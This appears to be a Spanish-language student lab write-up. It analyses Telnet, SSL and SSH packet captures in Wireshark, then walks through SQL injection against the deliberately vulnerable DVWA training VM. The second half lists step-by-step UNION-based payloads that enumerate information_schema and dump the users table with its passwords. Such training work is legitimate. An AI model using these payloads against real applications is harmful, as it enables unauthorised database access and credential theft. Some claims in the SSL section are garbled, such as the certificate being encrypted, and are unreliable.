La primer herramienta a utilizar es wireshark, esta herramienta sirve para analizar protocolos para así solucionar problemas en redes de comunicaciones. Pero en este caso la utilizare para un diferente uso.
Tarea #1 "Protocolos"
Primera parte: "Analizando un protocolo inseguro -Telnet"
En esta primer tarea no realizaremos capturas de trafico en vivo, sino que utilizaremos una captura ya guardada que es telnet-raw.pcap. Primero lo descargaremos y lo abriremos con wireshark, veremos que es una captura de trafico de telnet entre cliente y servidor.
1.- ¿Que usuario y contraseña se ha utilizado para acceder al servidor de Telnet?
2.- ¿Que sistema operativo corre en la máquina?
3.- ¿Que comandos se ejecutan en esta sesión?
En la imagen se puede observar que hemos obtenido lo anterior
User: fake
Password: user
Sistema operativo: OpenBSD
Comandos ejecutados en la sesión:
$ ls
.
$ ls -a
.
. .. .cshrc .login .mailrc .profile .rhosts
$ //sbin//ping www.yahoo.com
PING www.yahoo.com (204.71.200.74): 56 data bytes
^C
$exit
En esta captura de trafico de Telnet podemos ver que no es segura y así cualquier terciario puede ver la información privada como contraseñas, sistemas operativos etc.
Segunda parte: "Analizando SSL"
En esta segunda parte analizaremos un protocolo seguro que es SSL al igual que el anterior este no sera en vivo. Primero descargaremos la captura guardada ssl.pcap despues la abriremos con wireshark.
Ahora analizaremos para responder a las siguientes preguntas.
1.- ¿Puedes identificar en qué paquete de la trama el servidor envía el certificado?
2.- ¿El certificado va en claro o esta cifrado? ¿Puedes ver, por ejemplo, qué autoridad ha emitido el certificado?
3.- ¿Que asegura el certificado, la identidad del servidor o del cliente?
En la imagen anterior se puede ver que el certificado es enviado por el server en el paquete 2.
En la siguiente imagen se puede ver que el certificado esta cifrado e ilegible, ya que se usan key exchange y mensajes privados, los cuales estan encriptados con Handshake, y se puede ver que el servidor ha emitido el certificado.
Ahora veremos quien asegura el certificado.
Identidad de la certificacion: Secure Server Certification Authority
Organización encargada del protocolo: RSA Data Security, Inc.
País: Washington, US.
Como pudimos ver, el protocolo SSL es seguro para intercambiar datos personales así como contraseñas y mensajes privados.
Tercera parte: "Analizando SSH"
En la primera parte vimos un protocolo inseguro (Telnet), ahora veremos una alternativa para a la hora de conectarnos a maquinas remotas sea seguro intercambiar datos del usuario con el cliente, usando SSH el trafico de datos viaja cifrado.
En esta tercera parte usaremos la captura ssh.pcap, primero la descargaremos y luego lo abriremos con wireshark.
1.- ¿Puedes ver a partir de que paquete comienza el tráfico cifrado?
2.- ¿Qué protocolos viajan cifrados, todos (IP, TCP...) o alguno en particular?
3.- ¿Es posible ver alguna información de usuario como contraseñas de acceso?
En la imagen anterior se puede ver que el trafico cifrado empieza a partir del paquete 20, todos los protocolos estan totalmente cifrados y en la siguiente imagen se puede ver que es imposible ver alguna información de usuario o mensajes privados.
Para mi, este ultimo protocolo es mas confiable y seguro.
Tarea #2 "SQL Inyection"
SQL Inyection es un metodo de filtracion de código intruso que se vale de una vulnerabilidad informática, presente en una aplicación en el nivel de validación de las entradas, para realizar operaciones sobre una base de datos. El origen de vulnerabilidadradica en el incorrecto chequeo o filtrado de las variables utilizadas en un programa que contiene, o bien genera, codigo SQL. es, de hecho, un error de una clase mas general de vulnerabilidades que puede ocurrir en cualquier lenguaje de programación o script que esté embebido dentro de otro. se conoce como Inyección SQL, indistintamente:
-Al tipo de vulnerabilidad
-Al método de infiltración
-Al hecho de incrustar codigo SQL intruso
-A la porción de cdigo incrustado
Fuente: Mondragon Unibersitea
Una vez explicado lo que es un SQL inyection procederemos a realizar la tarea.
instrucciones:
1.- Descargar VirtualBox
2.- Descargar maquina virtual
3.- Descomprimir maquina virtual e importar la maquina a virtual box de acuerdo a tu OS
4.- Seleccionamos la maquina llamada dvwa y pulsamos en iniciar (en mi caso ya esta iniciada)
5.- Esperamos a que nos aparezca la direccion IP y la anotas
6.- Accede a la direccion http://direccionIP/login.php (en mi caso seria http://192.168.56.101) y accedemos con Username: admin Password: password
7.- Seleccionamos donde dice DVWA Security, elegimos en low y luego en submit
8.- Seleccionamos en SQL Inyection e introducimos 1 en donde muestra la imagen y daremos click en submit, mostrara la ID, el first name y el surname
9.- Ahora escribiremos: %' or '0'='0
En este escenario, se muestra que todos los registros son verdaderos
10.- Ahora escribiremos: %' or 0=0 union select null, version() #
Mostrara la versión de la base de datos en el apellido del final
11.- Ahora escribiremos: %' or 0=0 union select null, user() #
Mostrara el nombre de la base de datos del usuario que ejecuta el codigo detras de las escenas PHP en el apellido final
Ahora escribiremos: %' or 0=0 union select null, database() #
Mostrara el nombre de la base de datos en el apellido final
Ahora escribiremos: %' and 1=0 union select null, table_name from information_schema.tables #
Muestra todas las tablas en la base de datos information_schema, es la base de datos de informacion, el lugar que almacena información acerca de todas las otras bases de datos que el servidor MyQL mantiene
Ahora escribiremos: %' and 1=0 union select null, table_name from information_schema.tables where table_name like 'user%'#
Mostrara todas las tablas que comienzan con el prefijo "usuario" en la base de datos information_schema en el apellido final
Ahora escribiremos: %' and 1=0 union select null, concat(table_name,0x0a,column_name) from information_schema.columns where table_name = 'users' #
Mostrara las columnas de la tabla de usuarios y habrá una que tenga el password
Finalmente escribiremos: %' and 1=0 union select null, concat(first_name,0x0a,last_name,0x0a,user,0x0a,password) from users #
Mostrara el contenido de la tabla de usuario, incluyendo el campo de la contraseña